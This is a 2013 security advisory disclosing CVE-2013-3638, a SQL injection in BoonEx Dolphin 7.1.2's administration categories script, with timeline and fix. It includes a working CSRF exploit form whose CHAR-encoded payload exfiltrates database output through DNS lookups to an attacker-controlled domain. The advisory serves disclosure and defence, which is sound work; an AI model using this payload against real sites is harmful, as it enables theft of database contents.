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SQL Injection in Dolphin
From: advisory () htbridge com
Date: Wed, 12 Jun 2013 11:40:21 +0200 (CEST)

Advisory ID: HTB23157
Product: Dolphin
Vendor: BoonEx
Vulnerable Version(s): 7.1.2 and probably prior
Tested Version: 7.1.2
Vendor Notification: May 22, 2013 
Vendor Patch: May 29, 2013 
Public Disclosure: June 12, 2013 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2013-3638
Risk Level: Medium 
CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in Dolphin, which can be exploited to 
manipulate SQL requests passed to vulnerable application and obtain sensitive data from the database.


1) SQL Injection in Dolphin: CVE-2013-3638

The vulnerability exists due to insufficient validation of "pathes[]" HTTP POST parameter passed to 
"/administration/categories.php" PHP script. A remote authenticated administrator can execute arbitrary SQL commands in 
the application's database.

This vulnerability could also be exploited by a remote non-authenticated attacker via CSRF vector, since the 
application is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so an attacker should trick a 
logged-in application administrator to visit a web page with CSRF exploit.

The basic CSRF exploit code below is based on DNS Exfiltration technique and may be used if the database of the 
vulnerable application is hosted on a Windows system. The exploit will send a DNS request demanding IP addess for 
`version()` (or any other sensetive output from the database) subdomain of ".attacker.com" (a domain name, DNS server 
of which is controlled by the attacker):


<form action="http://[host]/administration/categories.php"; method="post" name="main">
<input type="hidden" name="pathes[]"   value="1%%(select load_file(CONCAT(CHAR(92),CHAR(92),(select 
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))
 -- %%1">
<input type="hidden" name="action_disable"   value="1">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>


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Solution:

Upgrade to Dolphin 7.1.3

More Information:
http://www.boonex.com/trac/dolphin/changeset/17659
http://www.boonex.com/trac/dolphin/milestone/Dolphin%207.1.3
http://www.boonex.com/n/stability-security-spam-prevention-and-more


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References:

[1] High-Tech Bridge Advisory HTB23157 - https://www.htbridge.com/advisory/HTB23157 - SQL Injection in Dolphin.
[2] Dolphin - http://www.boonex.com - The world's most advanced software platform for building vibrant community 
websites.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public 
use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE 
is a formal list of software weakness types. 

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details 
of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.


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